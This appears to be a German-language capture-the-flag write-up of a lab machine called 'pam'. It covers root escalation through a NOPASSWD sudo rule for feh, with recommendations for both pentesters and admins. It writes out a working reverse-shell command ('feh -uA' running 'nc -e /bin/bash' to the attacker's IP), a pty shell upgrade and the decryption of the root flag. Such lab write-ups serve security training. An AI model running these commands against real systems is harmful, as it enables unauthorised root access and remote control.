Analyse: Nachdem ich die kritische `sudo`-Fehlkonfiguration für `feh` identifiziert hatte, war der nächste Schritt, die Manpage von `feh` zu konsultieren, um die genaue Syntax für die Befehlsausführung zu finden. Die Option `--action` in Verbindung mit `--unloadable` ist hier der Schlüssel. Die `--action` Option erlaubt die Ausführung von Shell-Befehlen, während `--unloadable` sicherstellt, dass `feh` nicht versucht, ein X-Display zu öffnen, was in einer reinen Shell-Umgebung zu Fehlern führen würde.
Bewertung: Die Manpage von `feh` bestätigte die Möglichkeit zur Befehlsausführung über die `--action`-Option. Dies ist die Bestätigung für einen direkten Weg zur Root-Shell. Die Option `--unloadable` ist essentiell, um die Ausführung in einer headless-Umgebung zu ermöglichen. Die Kombination aus `sudo`, `feh` und der `--action`-Option ist ein klassisches GTFOBins-Szenario, das eine einfache Root-Eskalation ermöglicht.
Empfehlung (Pentester): Lesen Sie Manpages gründlich, um alle Optionen und Potenziale eines Binaries zu verstehen. Prüfen Sie GTFOBins für bekannte Exploits von Binaries mit `sudo`-Berechtigungen. Nutzen Sie alle Optionen, um eine stabile Root-Shell zu erhalten.
Empfehlung (Admin): Überprüfen Sie alle Binaries, die mit `NOPASSWD` in `sudoers` konfiguriert sind, sorgfältig auf die Möglichkeit der Befehlsausführung. Entfernen Sie `NOPASSWD` oder beschränken Sie die Ausführung auf das absolute Minimum, wenn die `feh`-Funktionalität nicht kritisch ist. Führen Sie regelmäßige Sicherheitsaudits der `sudoers`-Datei durch.
italia@pam:~$ man feh FEH(1) BSD General Commands Manual FEH(1) NAME feh — image viewer and cataloguer SYNOPSIS feh [OPTIONS] [--] [files | directories | URLs ...] VERSION This manual documents feh 3.6.3 Compile-time switches in this build: • libcurl remote file support enabled • Xinerama multi-monitor support enabled • libexif builtin EXIF reader available • inotify-based auto-reload of changed files disabled ..... .... ... PTIONS -A, --action [flag][[title]]action Specify a shell command as an action to perform on the image. In slideshow or multiwindow mode, the action will be run when the action_0 key is pressed, in list mode, it will be run for each file. In loadable/unloadable mode, it will be run for each loadable/unloadable file, respectively. In thumbnail mode, clicking on an image will cause the action to run instead of opening the image. If flag is ";", feh will reload the current image instead of switching to the next one (slideshow mode) or closing the window (multiwindow mode) after executing the action. If [title] is specified (note the literal "[" and "]"), --draw-actions will display title instead of action in the action list. Note that title must not start with a space. If it does, the action is handled as if it did not have a title. This special case exists for backwards compatibility reasons and makes sure that actions like "[ -L %F ] && foo" still work. The action will be executed by /bin/sh. Use format specifiers to refer to image info, see FORMAT SPECIFIERS for details. Example usage: "feh -A "mv %F ~/images/%N" *". ..... .... ... -u, --unloadable Don't display images. Just PRINT out their names if imlib2 can NOT successfully load them. Returns false if at least one image was loadable.
Analyse: Jetzt, da ich die genaue Methode zur Ausnutzung von `feh` kenne, konnte ich den Befehl zur Erlangung einer Root-Shell formulieren. Ich nutzte `sudo -u root /usr/bin/feh -uA 'nc -e /bin/bash 192.168.2.199 4445'`. Dies weist `feh` an, als Benutzer `root` eine Reverse Shell über Netcat an mein angreifendes System auf Port 4445 zu senden. Gleichzeitig startete ich einen Netcat-Listener auf meinem System.
Beweismittel & Bewertung: Fantastisch! Die Root-Eskalation war erfolgreich! Der Netcat-Listener auf meinem System fing eine Verbindung ab, und die Ausführung des `id`-Befehls in der neuen Shell bestätigte: `uid=0(root) gid=0(root) grupos=0(root)`. Ich bin jetzt als `root` angemeldet, was das ultimative Ziel dieses Penetrationstests darstellt. Dies beweist die kritische Natur der `sudo`-Fehlkonfiguration und die Notwendigkeit, solche Schwachstellen umgehend zu beheben. Ich konnte anschließend die `root.enc`-Datei im Root-Verzeichnis finden, was auf eine weitere Herausforderung hindeutet, die es zu entschlüsseln gilt, um die endgültige Flag zu erhalten. Das ist ein großer Erfolg!
Empfehlung (Pentester): Nach erfolgreicher Root-Eskalation sollten Sie immer eine stabile Root-Shell etablieren und sofort die Root-Flag finden. Führen Sie eine Nach-Eskalations-Enumeration durch, um weitere Schwachstellen oder Artefakte zu finden.
Empfehlung (Admin): Entfernen Sie umgehend alle `NOPASSWD`-Einträge in der `sudoers`-Datei für Binaries, die zur Shell-Erlangung missbraucht werden können. Führen Sie regelmäßige Sicherheitsaudits der `sudoers`-Datei durch. Implementieren Sie ein System zur Überwachung von Prozessausführungen mit Root-Rechten. Überprüfen Sie, ob sensible Dateien wie `root.enc` nicht unverschlüsselt auf dem System vorhanden sind.
./.Xauthority
listening on [any] 4445 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.195] 41818 id uid=0(root) gid=0(root) grupos=0(root) cd ~ ls root.enc file root.enc root.enc: openssl enc'd data with salted password
Analyse: Nachdem ich Root-Zugriff erhalten hatte und die `root.enc`-Datei gefunden hatte, war der nächste Schritt, sie zu entschlüsseln. Der Befehl `file root.enc` hatte bereits ergeben, dass es sich um "openssl enc'd data with salted password" handelt. Das Passwort `rootisCLOSE`, das ich zuvor aus dem Base64-dekodierten Bild erhalten hatte, war hierfür der logische Kandidat. Ich nutzte openssl enc -aes-256-cbc -d -in root.enc -out root.txt -k rootisCLOSE, um die Datei zu entschlüsseln.
Bewertung: Fantastisch! Die Entschlüsselung von `root.enc` war erfolgreich, und die Root-Flag wurde in `root.txt` geschrieben. Die Nachricht "WARNING : deprecated key derivation used" ist eine nützliche Information für den Admin, da sie auf eine veraltete und potenziell unsichere Methode zur Schlüsselableitung hinweist. Dies ist der krönende Abschluss des Pentests und bestätigt die vollständige Kompromittierung des Systems. Der Prozess der entschlüsselten Flag beweist erneut die Notwendigkeit, alle Geheimnisse sicher und mit modernen Verfahren zu schützen.
Empfehlung (Pentester): Nutzen Sie alle gefundenen Passwörter und Hinweise, um verschlüsselte Dateien zu entschlüsseln. Achten Sie auf Warnmeldungen von Tools, da diese zusätzliche Informationen für den Admin liefern können.
Empfehlung (Admin): Ersetzen Sie veraltete Verschlüsselungs- und Schlüsselableitungsverfahren (wie die in der Warnung von openssl erwähnten) durch moderne und sichere Methoden (z.B. mit PBKDF2 oder Argon2). Überprüfen Sie alle verschlüsselten Dateien auf dem System auf ihre Sicherheit und ob die Schlüssel sicher verwaltet werden.
export TERM=xterm python3 -c 'import pty;pty.spawn("/bin/bash")' root@pam:~# stty rows 47 columns 190 root@pam:~# openssl enc -aes-256-cbc -d -in root.enc -out root.txt -k rootisCLOSE *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. root@pam:~# ls -la total 36 drwx------ 3 root root 4096 jun 10 23:00 . drwxr-xr-x 18 root root 4096 ago 18 2022 .. lrwxrwxrwx 1 root root 9 ago 18 2022 .bash_history -> /dev/null -rw-r--r-- 1 root root 571 abr 10 2021 .bashrc drwxr-xr-x 3 root root 4096 ago 18 2022 .local -rw------- 1 root root 101 ago 18 2022 .mysql_history -rw-r--r-- 1 root root 161 jul 9 2019 .profile -rw------- 1 root root 48 ago 18 2022 root.enc -rw-r--r-- 1 root root 24 jun 10 23:00 root.txt -rw-r--r-- 1 root root 165 ago 18 2022 .wget-hsts